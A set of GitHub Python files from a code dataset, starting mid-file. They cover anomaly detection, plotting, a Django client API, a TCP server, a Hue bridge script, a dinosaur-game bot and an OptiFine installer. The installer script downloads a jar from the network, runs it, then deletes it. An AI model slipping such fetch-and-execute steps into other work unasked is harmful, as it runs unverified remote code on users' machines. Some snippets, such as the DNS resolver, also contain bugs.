dz_prev = tf.matmul(dz, weights[i])\n sigmoid_derivative = tf.multiply(input, 1 - input)\n sigmoid_derivative2 = tf.multiply(sigmoid_derivative, 1 - 2 * input)\n dz = tf.multiply(sigmoid_derivative, dz_prev)\n ddz = tf.multiply(sigmoid_derivative2, tf.square(dz_prev)) \\\n + tf.multiply(sigmoid_derivative, tf.matmul(ddz, weights[i]))\n dz = tf.matmul(dz, weights[-1])\n ddz = tf.matmul(ddz, weights[-1])\n else:\n for i in range(len(weights) - 1):\n dz = tf.matmul(dz, weights[i])\n ddz = tf.matmul(ddz, weights[i])\n dz = tf.matmul(dz, weights[-1])\n ddz = tf.matmul(ddz, weights[-1])\n return dz, ddz\n\n\nif __name__ == '__main__':\n print(sindy_library_tf(tf.random.normal((1024, 100), dtype=tf.float32), latent_dim=50, poly_order=2))\n","repo_name":"ccnmaastricht/angorapy","sub_path":"angorapy/analysis/util/sindy.py","file_name":"sindy.py","file_ext":"py","file_size_in_byte":9175,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"48"} +{"seq_id":"23242892364","text":"\"\"\"\nSome algorithms from the original skyline implementation are commented out and\nthe best combination of algorithms for NAB is included below.\n\"\"\"\n\nfrom datetime import datetime, timedelta\n\nimport numpy as np\nimport pandas\n\n\n\ndef tail_avg(timeseries):\n \"\"\"\n This is a utility function used to calculate the average of the last three\n datapoints in the series as a measure, instead of just the last datapoint.\n It reduces noise, but it also reduces sensitivity and increases the delay\n to detection.\n \"\"\"\n try:\n t = (timeseries[-1][1] + timeseries[-2][1] + timeseries[-3][1]) / 3\n return t\n except IndexError:\n return timeseries[-1][1]\n\n\n\ndef median_absolute_deviation(timeseries):\n \"\"\"\n A timeseries is anomalous if the deviation of its latest datapoint with\n respect to the median is X times larger than the median of deviations.\n \"\"\"\n\n series = pandas.Series([x[1] for x in timeseries])\n median = series.median()\n demedianed = np.abs(series - median)\n median_deviation = demedianed.median()\n\n # The test statistic is infinite when the median is zero,\n # so it becomes super sensitive. We play it safe and skip when this happens.\n if median_deviation == 0:\n return False\n\n test_statistic = demedianed.iloc[-1] / median_deviation\n\n # Completely arbitary...triggers if the median deviation is\n # 6 times bigger than the median\n if test_statistic > 6:\n return True\n else:\n return False\n\n\n\n# The method below is excluded because it is computationally inefficient\n# def grubbs(timeseries):\n# \"\"\"\n# A timeseries is anomalous if the Z score is greater than the Grubb's\n# score.\n# \"\"\"\n\n# series = np.array([x[1] for x in timeseries])\n# stdDev = np.std(series)\n# mean = np.mean(series)\n# tail_average = tail_avg(timeseries)\n# z_score = (tail_average - mean) / stdDev\n# len_series = len(series)\n# threshold = scipy.stats.t.isf(.05 / (2 * len_series), len_series - 2)\n# threshold_squared = threshold * threshold\n# grubbs_score = ((len_series - 1) / np.sqrt(len_series)) * np.sqrt(\n# threshold_squared / (len_series - 2 + threshold_squared))\n\n# return z_score > grubbs_score\n\n\ndef first_hour_average(timeseries):\n \"\"\"\n Calcuate the simple average over one hour, one day ago.\n A timeseries is anomalous if the average of the last three datapoints\n are outside of three standard deviations of this value.\n \"\"\"\n day = timedelta(days=1)\n hour = timedelta(hours=1)\n last_hour_threshold = timeseries[-1][0] - (day - hour)\n startTime = last_hour_threshold - hour\n series = pandas.Series([x[1] for x in timeseries\n if x[0] >= startTime\n and x[0] < last_hour_threshold])\n mean = (series).mean()\n stdDev = (series).std()\n t = tail_avg(timeseries)\n\n return abs(t - mean) > 3 * stdDev\n\n\n\ndef stddev_from_average(timeseries):\n \"\"\"\n A timeseries is anomalous if the absolute value of the average of the latest\n three datapoint minus the moving average is greater than three standard\n deviations of the average. This does not exponentially weight the MA and so\n is better for detecting anomalies with respect to the entire series.\n \"\"\"\n series = pandas.Series([x[1] for x in timeseries])\n mean = series.mean()\n stdDev = series.std()\n t = tail_avg(timeseries)\n\n return abs(t - mean) > 3 * stdDev\n\n\n\ndef stddev_from_moving_average(timeseries):\n \"\"\"\n A timeseries is anomalous if the absolute value of the average of the latest\n three datapoint minus the moving average is greater than three standard\n deviations of the moving average. This is better for finding anomalies with\n respect to the short term trends.\n \"\"\"\n series = pandas.Series([x[1] for x in timeseries])\n expAverage = series.ewm(ignore_na=False, min_periods=0, adjust=True, com=50).mean()\n stdDev = series.ewm(ignore_na=False, min_periods=0, adjust=True, com=50).std(bias=False)\n\n return abs(series.iloc[-1] - expAverage.iloc[-1]) > 3 * stdDev.iloc[-1]\n\n\n\ndef mean_subtraction_cumulation(timeseries):\n \"\"\"\n A timeseries is anomalous if the value of the next datapoint in the\n series is farther than three standard deviations out in cumulative terms\n after subtracting the mean from each data point.\n \"\"\"\n\n series = pandas.Series([x[1] if x[1] else 0 for x in timeseries])\n series = series - series[0:len(series) - 1].mean()\n stdDev = series[0:len(series) - 1].std()\n\n return abs(series.iloc[-1]) > 3 * stdDev\n\n\n\ndef least_squares(timeseries):\n \"\"\"\n A timeseries is anomalous if the average of the last three datapoints\n on a projected least squares model is greater than three sigma.\n \"\"\"\n\n x = np.array(\n [(t[0] - datetime(1970, 1, 1)).total_seconds() for t in timeseries])\n y = np.array([t[1] for t in timeseries])\n A = np.vstack([x, np.ones(len(x))]).T\n results = np.linalg.lstsq(A, y)\n residual = results[1]\n m, c = np.linalg.lstsq(A, y)[0]\n errors = []\n for i, value in enumerate(y):\n projected = m * x[i] + c\n error = value - projected\n errors.append(error)\n\n if len(errors) < 3:\n return False\n\n std_dev = np.std(errors)\n t = (errors[-1] + errors[-2] + errors[-3]) / 3\n\n return abs(t) > std_dev * 3 and round(std_dev) != 0 and round(t) != 0\n\n\n\ndef histogram_bins(timeseries):\n \"\"\"\n A timeseries is anomalous if the average of the last three datapoints falls\n into a histogram bin with less than 20 other datapoints (you'll need to tweak\n that number depending on your data)\n\n Returns: the size of the bin which contains the tail_avg. Smaller bin size\n means more anomalous.\n \"\"\"\n\n series = np.array([x[1] for x in timeseries])\n t = tail_avg(timeseries)\n h = np.histogram(series, bins=15)\n bins = h[1]\n for index, bin_size in enumerate(h[0]):\n if bin_size <= 20:\n # Is it in the first bin?\n if index == 0:\n if t <= bins[0]:\n return True\n # Is it in the current bin?\n elif t >= bins[index] and t < bins[index + 1]:\n return True\n\n return False\n\n\n# The method below is excluded because it is computationally inefficient\n# def ks_test(timeseries):\n# \"\"\"\n# A timeseries is anomalous if 2 sample Kolmogorov-Smirnov test indicates\n# that data distribution for last 10 minutes is different from last hour.\n# It produces false positives on non-stationary series so Augmented\n# Dickey-Fuller test applied to check for stationarity.\n# \"\"\"\n\n# hour_ago = time() - 3600\n# ten_minutes_ago = time() - 600\n# reference = scipy.array(\n # [x[1] for x in timeseries if x[0] >= hour_ago and x[0] < ten_minutes_ago])\n# probe = scipy.array([x[1] for x in timeseries if x[0] >= ten_minutes_ago])\n\n# if reference.size < 20 or probe.size < 20:\n# return False\n\n# ks_d, ks_p_value = scipy.stats.ks_2samp(reference, probe)\n\n# if ks_p_value < 0.05 and ks_d > 0.5:\n# adf = sm.tsa.stattools.adfuller(reference, 10)\n# if adf[1] < 0.05:\n# return True\n\n# return False\n\n# The method below is excluded because it has no effect on the final skyline\n# scores for NAB\n# def is_anomalously_anomalous(metric_name, ensemble, datapoint):\n# \"\"\"\n# This method runs a meta-analysis on the metric to determine whether the\n# metric has a past history of triggering.\n# TODO: weight intervals based on datapoint\n# \"\"\"\n# # We want the datapoint to avoid triggering twice on the same data\n# new_trigger = [time(), datapoint]\n\n# # Get the old history\n# raw_trigger_history = redis_conn.get(\"trigger_history.\" + metric_name)\n# if not raw_trigger_history:\n# redis_conn.set(\"trigger_history.\" + metric_name, packb(\n # [(time(), datapoint)]))\n# return True\n\n# trigger_history = unpackb(raw_trigger_history)\n\n# # Are we (probably) triggering on the same data?\n# if (new_trigger[1] == trigger_history[-1][1] and\n# new_trigger[0] - trigger_history[-1][0] <= 300):\n# return False\n\n# # Update the history\n# trigger_history.append(new_trigger)\n# redis_conn.set(\"trigger_history.\" + metric_name, packb(trigger_history))\n\n# # Should we surface the anomaly?\n# trigger_times = [x[0] for x in trigger_history]\n# intervals = [\n# trigger_times[i + 1] - trigger_times[i]\n# for i, v in enumerate(trigger_times)\n# if (i + 1) < len(trigger_times)\n# ]\n\n# series = pandas.Series(intervals)\n# mean = series.mean()\n# stdDev = series.std()\n\n# return abs(intervals[-1] - mean) > 3 * stdDev\n\n\n# def run_selected_algorithm(timeseries, metric_name):\n# \"\"\"\n# Filter timeseries and run selected algorithm.\n# \"\"\"\n# # Get rid of short series\n# if len(timeseries) < MIN_TOLERABLE_LENGTH:\n# raise TooShort()\n\n# # Get rid of stale series\n# if time() - timeseries[-1][0] > STALE_PERIOD:\n# raise Stale()\n\n# # Get rid of boring series\n# if len(\n # set(\n # item[1] for item in timeseries[\n # -MAX_TOLERABLE_BOREDOM:])) == BOREDOM_SET_SIZE:\n# raise Boring()\n\n# try:\n# ensemble = [globals()[algorithm](timeseries) for algorithm in ALGORITHMS]\n# threshold = len(ensemble) - CONSENSUS\n# if ensemble.count(False) <= threshold:\n# if ENABLE_SECOND_ORDER:\n# if is_anomalously_anomalous(metric_name, ensemble, timeseries[-1][1]):\n# return True, ensemble, timeseries[-1][1]\n# else:\n# return True, ensemble, timeseries[-1][1]\n\n# return False, ensemble, timeseries[-1][1]\n# except:\n# logging.error(\"Algorithm error: \" + traceback.format_exc())\n# return False, [], 1","repo_name":"numenta/NAB","sub_path":"nab/detectors/skyline/algorithms.py","file_name":"algorithms.py","file_ext":"py","file_size_in_byte":9540,"program_lang":"python","lang":"en","doc_type":"code","stars":1826,"dataset":"github-code","pt":"48"} +{"seq_id":"70778847506","text":"#!/usr/bin/env pyghon\n\n\nimport simpy\n\n\ndef producer(env, store):\n for i in range(100):\n print(f'Before producer {i} yield timeout {env.now}')\n yield env.timeout(2)\n print(f'After producer {i} yield timeout {env.now}')\n yield store.put(f'spam {i}')\n print(f'Produced spam at', env.now)\n\n\ndef consumer(name, env, store):\n while True:\n print(f'Before consumer {name} yield timeout {env.now}')\n yield env.timeout(1)\n print(f'After consumer {name} yield timeout {env.now}')\n print(name, 'requesting spam at', env.now)\n item = yield store.get()\n print(name, 'got', item, 'at', env.now)\n\n\nenv = simpy.Environment()\nstore = simpy.Store(env, capacity=2)\nprod = env.process(producer(env, store))\nconsumer_names = ['Xu', 'Zhu']\nconsumers = [env.process(consumer(i, env, store)) for i in consumer_names]\nenv.run(until=5)\n","repo_name":"ZuyuanZhu/simpy_practice","sub_path":"scripts/example_stores_producer_consumer.py","file_name":"example_stores_producer_consumer.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"6313950416","text":"import pandas\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n\ndef visualize_space(s_space, label_, source_name, torch_object=True, model_name='', plot_path = None):\n sns.set_palette('Set2')\n if torch_object:\n s_space = s_space.detach().cpu().numpy()\n \n \n nlabel = len(np.unique(label_))\n# sns.set_palette(\"Spectral\", n_colors=nlabel)\n \n df = pandas.DataFrame({'s_x':s_space[:,0], 's_y':s_space[:,1], 'label':label_})\n plt.figure(figsize=(6,6))\n sns.scatterplot(x='s_x', y='s_y', hue='label', data=df, alpha=0.6, legend=False, palette=\"Set2\")\n plt.xlabel(source_name+'_1')\n plt.ylabel(source_name+'_2')\n \n plt.title(source_name+' space')\n plt.show()\n \n if type(plot_path) != type(None):\n plt.savefig(plot_path+'/' + model_name + '_'+source_name+'.pdf', bbox_inches='tight')\n plt.clf()\n\ndef visualize_s_z_space(s_space, z_space, label_s, label_z=None, name_list=None,torch_object = True, model_name='', plot_path = None):\n sns.set_palette('Set2')\n if type(label_z) == type(None):\n label_z = label_s.copy()\n if torch_object:\n s_space = s_space.detach().numpy()\n z_space = z_space.detach().numpy()\n label_s = label_s.detach().numpy()\n label_z = label_z.detach().numpy()\n \n plt.figure(figsize=(14,6))\n plt.subplot(1,2,1)\n \n df = pandas.DataFrame({'s_x':s_space[:,0], 's_y':s_space[:,1], 'label':label_s})\n sns.scatterplot(x='s_x', y='s_y', hue='label', data=df, alpha=0.6, palette=\"Set2\", legend=False)\n plt.xlabel(name_list[0]+'_1')\n plt.ylabel(name_list[0]+'_2')\n# plt.xlim(-6,10)\n# plt.ylim(-6,10)\n\n plt.title(name_list[0]+' space')\n plt.subplot(1,2,2)\n df = pandas.DataFrame({'s_x':z_space[:,0], 's_y':z_space[:,1], 'label':label_z})\n\n sns.scatterplot(x='s_x', y='s_y', hue='label', data=df, alpha=0.6, palette=\"Set2\", legend=False)\n plt.xlabel(name_list[1]+'_1')\n plt.ylabel(name_list[1]+'_2')\n\n# plt.xlim(-6,10)\n# plt.ylim(-6,10) \n\n plt.title(name_list[1]+' space')\n plt.show()\n \n if type(plot_path) != type(None):\n plt.savefig(plot_path+'/' + model_name + '.pdf', bbox_inches='tight')\n plt.clf()\n ","repo_name":"ZidiXiu/ECRT","sub_path":"utils/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"48"} +{"seq_id":"9015140732","text":"import requests\nimport json\n\n\ndef resolve(name: str) -> object:\n r = requests.get('https://one.one.one.one/dns-query', params={\n \"name\": name\n })\n\n response = r.request\n content = response.body\n if content is None:\n return None\n return json.load(content)\n","repo_name":"ExerciseBook/PythonDependencyFix","sub_path":"ScanImportExample/resolve.py","file_name":"resolve.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"1872994362","text":"from rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom ..elastic import series_indexer, series_search\nfrom ..models import Client\nfrom ..serializers import ClientInputSerializer, ClientEditSerializer\nfrom .. import tasks, task_priorities, utils, serializers\n\nsearch = series_search.SeriesSearch()\nindexer = series_indexer.SeriesIndexer()\n\nclass ClientNameAlreadyExists(Exception):\n pass\n\nclass ClientListView(APIView):\n def get(self, request):\n #update indexing progress\n indexing_clients = []\n indexed_clients = []\n clients_objs = Client.objects.filter(status='Pending')\n for client in clients_objs:\n task = tasks.index_series_data.AsyncResult(client.task_id)\n if task.state == 'PROGRESS' or task.state == 'STARTED':\n indexing_clients.append({\n 'name': client.name,\n 'utc_offset': client.utc_offset,\n 'status': 'Indexing',\n 'progress': task.info.get('progress', 0)\n })\n elif task.state == 'PENDING':\n indexing_clients.append({\n 'name': client.name,\n 'utc_offset': client.utc_offset,\n 'status': 'Waiting',\n 'progress': 0\n })\n indexed_clients = Client.objects.exclude(status='Pending').values('name', 'utc_offset', 'status', 'created', 'modified')\n data = [ *indexing_clients, *indexed_clients ]\n return Response(data)\n\n def post(self, request):\n serializer = ClientInputSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n dest_dir = serializer.data.get('folder_name')\n try:\n status_id = self._add_new_client(\n client_name=serializer.data.get('name'), \n dest_dir=dest_dir, \n utc_offset=serializer.data.get('utc_offset')\n )\n except ClientNameAlreadyExists:\n return Response({'error': \"There's already a client with the same name\"}, status=status.HTTP_409_CONFLICT)\n return Response({'status_id': status_id}, status=status.HTTP_201_CREATED)\n\n\n def _add_new_client(self, client_name, dest_dir, utc_offset):\n if Client.objects.filter(name=client_name).exists():\n raise ClientNameAlreadyExists()\n docs_path = utils.get_data_source_path() + dest_dir\n filenames = utils.get_files_from_directory(docs_path)\n task = tasks.index_series_data.delay(client_name, filenames)\n task = tasks.index_series_data.apply_async(args=[client_name, filenames], priority=task_priorities.INDEXING)\n client = Client.objects.create(\n name=client_name, \n utc_offset=utc_offset, \n index_name='', \n task_id=task.id, \n status='Pending'\n )\n return task.id\n\n\nclass ClientView(APIView):\n def get(self, request, pk):\n client = Client.objects.get(name=pk)\n utc_offset = client.utc_offset\n series_data = search.get_series(indexname=client.index_name, interval='7d')\n series_range = search.get_series_range(indexname=client.index_name)\n total_events = search.get_count(indexname=client.index_name)\n last_events = search.get_last_events(indexname=client.index_name, size=20)\n data = { 'data': series_data, 'range': series_range, 'total': total_events, 'lastEvents': last_events }\n return Response(data)\n\n def put(self, request, pk):\n client = Client.objects.get(name=pk)\n serializer = ClientEditSerializer(client, data=request.data, partial=True)\n if serializer.is_valid(): \n serializer.save()\n return Response(serializer.data)\n print(serializer.errors)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def delete(self, request, pk):\n client = Client.objects.filter(name=pk).delete()\n indexer.delete(pk)\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass DataSourceFilesList(APIView):\n def get(self, request):\n source_files_path = utils.get_data_source_path()\n return Response(utils.get_dirs_from_dir(source_files_path))","repo_name":"GNico/ts-analysis","sub_path":"backend/ts_project/views/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38308264194","text":"# NLP100本ノック\r\n# \r\n# Wikipediaの記事を以下のフォーマットで書き出したファイルjawiki-country.json.gzがある.\r\n# 1行に1記事の情報がJSON形式で格納される\r\n# 各行には記事名が\"title\"キーに,記事本文が\"text\"キーの辞書オブジェクトに格納され,\r\n# そのオブジェクトがJSON形式で書き出される\r\n# ファイル全体はgzipで圧縮される\r\n# 以下の処理を行うプログラムを作成せよ.\r\n\r\n# 20. JSONデータの読み込み\r\n# Wikipedia記事のJSONファイルを読み込み,\r\n# 「イギリス」に関する記事本文を表示せよ.\r\n# 問題21-29では,ここで抽出した記事本文に対して実行せよ.\r\n\r\nimport json\r\n\r\nwith open(\"jawiki-country.json\", \"r\", encoding=\"utf-8\") as f:\r\n for line in f:\r\n data = json.loads(line)\r\n if data[\"title\"] == \"イギリス\":\r\n print(data[\"text\"])\r\n with open(\"jawiki-britain.txt\", \"w\", encoding=\"utf-8\") as f2:\r\n f2.write(data[\"text\"])\r\n # WindowsだとたぶんUnicodeEncodeErrorになるので以下をつかう\r\n # print(data[\"text\"].encode(\"sjis\", \"ignore\").decode(\"sjis\"))\r\n\r\n\"\"\"\r\nめも\r\n\r\n与えられたjsonファイルをファイルオブジェクトからjson.load()で一度に読み込もうとすると,\r\n\r\nIn [1]: f = open(\"jawiki-country.json\", \"r\", encoding=\"utf-8\")\r\nIn [2]: s = json.load(f)\r\nJSONDecodeError: Extra data: line 2 column 1 (char 27837)\r\n\r\nと怒られた. \r\n\r\n与えられたjsonファイルは次のような形式\r\n\r\n{\"text\": \"本文1\", \"title\": \"国名1\"}\r\n{\"text\": \"本文2\", \"title\": \"国名2\"}\r\n{\"text\": \"本文3\", \"title\": \"国名3\"}\r\n...略\r\n\r\nこれは辞書型を羅列した形になっていて, pythonのデータ構造として一度に読み込めない. \r\nつまり、たぶんjson.load()で読み込めない. (オプションを指定すれば解決できる?)\r\njson.load()で読み込むには, \r\n\r\n[\r\n {\"text\": \"本文1\", \"title\": \"国名1\"},\r\n {\"text\": \"本文2\", \"title\": \"国名2\"},\r\n {\"text\": \"本文3\", \"title\": \"国名3\"}\r\n]\r\n\r\nみたいに、各辞書が配列の要素となるような構造となってる必要がある. \r\n\r\n\"\"\"","repo_name":"JaChaika/NLP100","sub_path":"03/nlp020.py","file_name":"nlp020.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44855032864","text":"from time import sleep\nimport pyautogui#752, 482 #fullscreen #halfscreen start 523 end 467 (Y)\nimport time\nimport keyboard\nfrom pyautogui import position\nfrom pyscreeze import pixel\n\n\ndef checkPixels(target):\n '''works only for left half opera gx browser'''\n istrue = False\n for z in range(467, 524):\n if istrue!=True:\n\n clr = pyautogui.pixel(285, z)\n if clr == target:\n\n istrue = True\n return True\n\n\ntarget = (83,83,83)\n\ntry:\n while True:\n color = checkPixels(target)\n # color = pyautogui.pixel(285, 492)\n #print(color==target, color, sep='|')\n if color:\n #print('jump')\n keyboard.press_and_release('space', do_press=True, do_release=True)\n\n\nexcept Exception as e:\n print(e)\n sleep(10000)\n\n\n\n# while True:\n# x,y = position()\n# print(x,y)","repo_name":"tomasmo-dev/tomasmo-dev.github.io","sub_path":"www/downloads/py/google_dinosaur_game_automation/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38825782539","text":"import os\nimport requests\nimport uuid\nimport json\n\nclass Bridge:\n\n def __init__(self):\n self.address = \"192.168.0.15\"\n self.load_username_from_file()\n\n def load_username_from_file(self):\n path = os.getcwd() + \"/username.txt\"\n if (os.path.isfile(path) ):\n with open(path, 'r') as f:\n self.username = f.read()\n f.close()\n print('Username loaded from file : ', self.username)\n else:\n print(\"No username file found\")\n self.get_new_username()\n\n def save_username_to_file(self):\n path = os.getcwd() + \"/username.txt\"\n with open(path, 'w') as f:\n f.write(self.username)\n f.close()\n\n\n def get_new_username(self):\n path = \"http://\"+self.address+\"/api\"\n app_name = uuid.uuid4().hex\n print('Push bridge button, then ENTER')\n input()\n r = requests.post(path, data=json.dumps({\"devicetype\":app_name}))\n print(r.json)\n resp = r.json()\n self.username = resp[0]['success']['username']\n print('New username : ', self.username)\n self.save_username_to_file()\n\n def get_config(self):\n path = \"http://\" + self.address + \"/api/\" + self.username\n r = requests.get(path)\n print(r.json())\n\n def get_lights(self):\n path = \"http://\" + self.address + \"/api/\" + self.username + \"/lights\"\n r = requests.get(path)\n print(r.json())\n\n def set_touchlink(self):\n path = \"http://\"+self.address+\"/api/\"+self.username+\"/config\"\n print('Push bridge button, then ENTER')\n input()\n r = requests.put(path, data=json.dumps({\"touchlink\":True}))\n print(r.json)\n\n def delete_light(self, value):\n path = \"http://\"+self.address+\"/api/\"+self.username+\"/lights/\"+str(value)\n r = requests.delete(path)\n print(r.json)\n\nif __name__ == '__main__':\n bridge = Bridge()\n bridge.get_lights()\n\n","repo_name":"Tropicao/zigbridge","sub_path":"scripts/bridge.py","file_name":"bridge.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"48"} +{"seq_id":"28639890476","text":"import socket\n\nHOST = \"localhost\"\nPORT = 12345\n\ndef create_server(s):\n s.close()\n s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n print('[INFO] SOCKET OLUŞTURULDU')\n s.bind((HOST,PORT))\n s.listen(5)\n print('[INFO] Port Dinleniyor...')\n port, address = s.accept()\n print('[INFO] porta gelen bağlantı {} '.format(address))\n return port\n\nwhile True:\n \n try:\n s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n port = create_server(s)\n port.send(b'Client Servera baglandin')\n receive_data = port.recv(1024)\n print(receive_data.decode(\"utf-8\"))\n port.sendall(receive_data)\n\n except Exception:\n pass","repo_name":"asdemirel/UDP","sub_path":"server/TCPserver.py","file_name":"TCPserver.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"1368226560","text":"#\n# @lc app=leetcode id=269 lang=python3\n#\n# [269] Alien Dictionary\n#\n\n# @lc code=start\nclass Solution:\n def alienOrder(self, words: List[str]) -> str:\n return self.sol2(words)\n def sol2(self, words):\n map = {}\n letters = [0 for i in range(26)] \n for i in range(len(words)):\n for j in range(len(words[i])):\n key=ord(words[i][j])-ord('a')\n letters[key]=0\n map[key]=set()\n \n for i in range(len(words)-1):\n word1 = words[i]\n word2 = words[i+1]\n idx = 0\n for j in range(min(len(word1),len(word2))):\n if(word1[j]!=word2[j]):\n key1 = ord(word1[j])-ord('a')\n key2 = ord(word2[j])-ord('a')\n count = letters[key2]\n if(key2 not in map[key1]):\n letters[key2] =count+1\n map[key1].add(key2)\n break\n dictionary = collections.deque()\n res = ''\n for i in range(26):\n if(letters[i]==0 and i in map):\n dictionary.appendleft(i)\n \n while(len(dictionary)!=0):\n nextup = dictionary.pop()\n res+=(chr(nextup+ord('a')))\n greaterSet = map[nextup]\n for greater in greaterSet:\n letters[greater]-=1\n if(letters[greater]==0):\n dictionary.appendleft(greater)\n if(len(map)!=len(res)):\n return \"\"\n return res\n\n def sol1(self, words) :\n children = collections.defaultdict(set)\n parents = collections.defaultdict(set)\n characters = set()\n\n l = max([len(word) for word in words])\n\n for i in range(len(words)):\n for j in range(l) :\n if j < len(words[i]) :\n characters.add(words[i][j])\n if i > 0 and j < len(words[i - 1]) and words[i - 1][j] != words[i][j]:\n children[words[i - 1][j]].add(words[i][j])\n if i < len(words) - 1 and j < len(words[i + 1]) and words[i + 1][j] != words[i][j]:\n parents[words[i + 1][j]].add(words[i][j])\n\n others = [char for char in characters if char not in parents and char not in children]\n others = ''.join(others)\n\n if len(others) == len(characters): return others\n\n node = [node for node in children if node not in parents]\n\n \n if len(node) != 1 : return ''\n ans = []\n self.dfs(node[0], children, len(characters) - len(others), ans)\n \n return ans[0] + others\n\n def dfs(self, curr, children, n, ans):\n if len(curr) == n :\n ans.append(curr)\n return\n for child in children[curr[-1]] :\n self.dfs(curr + child, children, n, ans)\n \n\n# @lc code=end\n\n","repo_name":"quixoteji/Leetcode","sub_path":"solutions/269.alien-dictionary.py","file_name":"269.alien-dictionary.py","file_ext":"py","file_size_in_byte":2919,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"42150797531","text":"import requests\nfrom bs4 import BeautifulSoup\nimport subprocess\n\ndef get_and_install(file):\n url='http://optifine.net/download?f='+file\n subprocess.run(['wget','-q','--show-progress','--progress=bar:force',url,'-O',file])\n subprocess.run(['java','-cp',file,'optifine.Installer'])\n subprocess.run(['rm','-f',file])\n print(file[:-4],'installed')\n\ndef get_versions_list():\n url = 'https://optifine.net/downloads'\n response = requests.get(url)\n # Vérifie si la requête a réussi\n if response.status_code == 200:\n # Analyse le contenu HTML de la page avec BeautifulSoup\n soup = BeautifulSoup(response.text, 'html.parser')\n\n # Recherche les balises contenant les liens de téléchargement\n download_links = soup.find_all('a', {'href': True}, text=lambda text: text and '(mirror)' in text.lower())\n\n # Parcours des liens de téléchargement et récupération des noms de fichiers\n versions=list()\n for link in download_links:\n filename = link['href'].split('/')[-1]\n #print(str(link).split('\"')[1].split('=')[1])\n versions.append(str(link).split('\"')[1].split('=')[1])\n #get(versions[0])\n return versions\n \n else:\n print('Erreur lors de la requête HTTP')\n\ndef get_compatible_versions():\n versions_compat=dict()\n for of_version in get_versions_list():\n mc_version = of_version.replace(\"preview_OptiFine\",\"OptiFine\").split('_')[1]\n if not mc_version in versions_compat.keys():\n versions_compat[mc_version]=list()\n versions_compat[mc_version].append(of_version)\n return versions_compat\n\nprint(get_compatible_versions())","repo_name":"pi-dev500/mc_py_launcher","sub_path":"Minecraft Launcher/libs/optifine.py","file_name":"optifine.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"21966350253","text":"import h5py\nfrom pathlib import Path\nfrom packaging.version import Version\nfrom typing import Union, Dict\nfrom seyfert.utils import general_utils as gu\nfrom seyfert.cosmology.power_spectrum import PowerSpectrum\nfrom seyfert.cosmology.parameter import PhysicalParameter\nfrom seyfert.cosmology.cosmology import Cosmology\nfrom seyfert.cosmology.c_ells import AngularCoefficientsCollector, AngularCoefficient\nfrom seyfert.cosmology.redshift_density import RedshiftDensity\nfrom seyfert.cosmology import weight_functions as wfs\nfrom seyfert.cosmology import kernel_functions as kfs\n\n\ndef write_old_cosmo_file(cosmo, file):\n hf = h5py.File(file, mode='w')\n pmm = cosmo.power_spectrum\n\n hf.create_dataset(name='/cosmology/z_array', data=cosmo.z_grid)\n hf.create_dataset(name='/power_spectrum/k_array', data=pmm.k_grid)\n hf.create_dataset(name='/power_spectrum/p_mm_values/lin_p_mm_z_k', data=pmm.lin_p_mm_z_k)\n hf.create_dataset(name='/power_spectrum/p_mm_values/nonlin_p_mm_z_k', data=pmm.nonlin_p_mm_z_k)\n\n hf.close()\n\n\ndef read_v104_cosmo_file(file) -> \"Cosmology\":\n hf = h5py.File(file, mode='r')\n Ez = hf['/cosmology/dimensionless_hubble_parameter'][()]\n rz = hf['/cosmology/dimensionless_comoving_distance'][()]\n z = hf['/cosmology/z_array'][()]\n k = hf['/power_spectrum/k_array'][()]\n plin_zk = hf['/power_spectrum/p_mm_values/lin_p_mm_z_k'][()]\n pnonlin_zk = hf['/power_spectrum/p_mm_values/nonlin_p_mm_z_k'][()]\n\n growth_factor = None\n transfer_k = None\n if 'growth_factor_z' in hf:\n growth_factor = hf['growth_factor_z'][()]\n if 'transfer_function' in hf:\n transfer_k = hf['transfer_function'][()]\n\n hf.close()\n\n cosmo = Cosmology()\n cosmo.z_grid = z\n pmm = PowerSpectrum()\n pmm.z_grid = z\n pmm.k_grid = k\n pmm.lin_p_mm_z_k = plin_zk\n pmm.nonlin_p_mm_z_k = pnonlin_zk\n pmm.transfer_function = transfer_k\n cosmo.power_spectrum = pmm\n cosmo.dimensionless_hubble_array = Ez\n cosmo.dimensionless_comoving_distance_array = rz\n\n return cosmo\n\n\ndef read_v110_cosmo_file(file) -> \"Cosmology\":\n hf = h5py.File(file, mode='r')\n cosmo = Cosmology()\n cosmo.z_grid = hf['cosmology/z_grid'][()]\n cosmo.dimensionless_hubble_array = hf['cosmology/dimensionless_hubble_array'][()]\n cosmo.dimensionless_comoving_distance_array = hf['cosmology/dimensionless_comoving_distance_array'][()]\n\n pars = {\n name: dict(hf[f'cosmology/cosmological_parameters/{name}'].attrs)\n for name in 